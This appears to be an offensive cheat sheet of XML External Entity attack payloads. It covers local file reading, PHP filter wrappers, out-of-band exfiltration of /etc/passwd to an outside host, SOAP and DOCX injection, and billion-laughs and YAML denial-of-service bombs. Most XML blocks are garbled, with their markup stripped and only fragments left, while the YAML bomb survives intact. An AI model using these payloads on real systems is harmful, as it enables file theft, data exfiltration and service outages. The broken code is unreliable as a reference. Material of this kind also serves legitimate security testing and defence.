# XML External Entity An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server. ## Exploit Basic XML external entity test, the result should contain "John" in `firstName` and "Doe" in `lastName`. ```xml ]> John &example; ``` ## Basic XXE Classic XXE ```xml ]> &file; ``` ```xml ]>&xxe; ``` ```xml ]>&xxe; ``` Classic XXE Base64 encoded ```xml %init; ]> ``` ## PHP Wrapper inside XXE ```xml ]> Jean &xxe; Dupont 00 11 22 33 44 42 rue du CTF 75000 Paris ``` ```xml ]> &xxe; ``` ## Deny of service **Warning** : These attacks will disable the service or the server, do not use them on the Prod. Billion Laugh Attack ```xml ]> &a4; ``` Yaml attack ```xml a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"] b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c] e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d] f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e] g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f] h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g] i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h] ``` ## Blind XXE - Out of Band Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack. ### Blind XXE Send the content of `/etc/passwd` to "www.malicious.com", you may receive only the first line. ```xml ] > &callhome; ``` ### XXE OOB Attack (Yunusov, 2013) ```xml &send; File stored on http://publicServer.com/parameterEntity_oob.dtd "> %all; ``` ### XXE OOB with DTD and PHP filter ```xml %sp; %param1; ]> &exfil; File stored on http://127.0.0.1/dtd.xml "> ``` ### XXE inside SOAP ```xml %dtd;]>]]> ``` ### XXE inside DOCX file Format of an Open XML file (inject the payload in any .xml file): - /_rels/.rels - [Content_Types].xml - Default Main Document Part - /word/document.xml - /ppt/presentation.xml - /xl/workbook.xml Then update the file `zip -u xxe.docx [Content_Types].xml` Tool : https://github.com/BuffaloWill/oxml_xxe ```xml DOCX/XLSX/PPTX ODT/ODG/ODP/ODS SVG XML PDF (experimental) JPG (experimental) GIF (experimental) ``` ## Thanks to * [XML External Entity (XXE) Processing - OWASP](https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing) * [Detecting and exploiting XXE in SAML Interfaces - Von Christian Mainka](http://web-in-security.blogspot.fr/2014/11/detecting-and-exploiting-xxe-in-saml.html) * [staaldraad - XXE payloads](https://gist.github.com/staaldraad/01415b990939494879b4) * [mgeeky - XML attacks](https://gist.github.com/mgeeky/4f726d3b374f0a34267d4f19c9004870) * [Exploiting xxe in file upload functionality - BLACKHAT WEBCAST- 11/19/15 Will Vandevanter - @_will_is_](https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf) * [XXE ALL THE THINGS!!! (including Apple iOS's Office Viewer)](http://en.hackdig.com/08/28075.htm)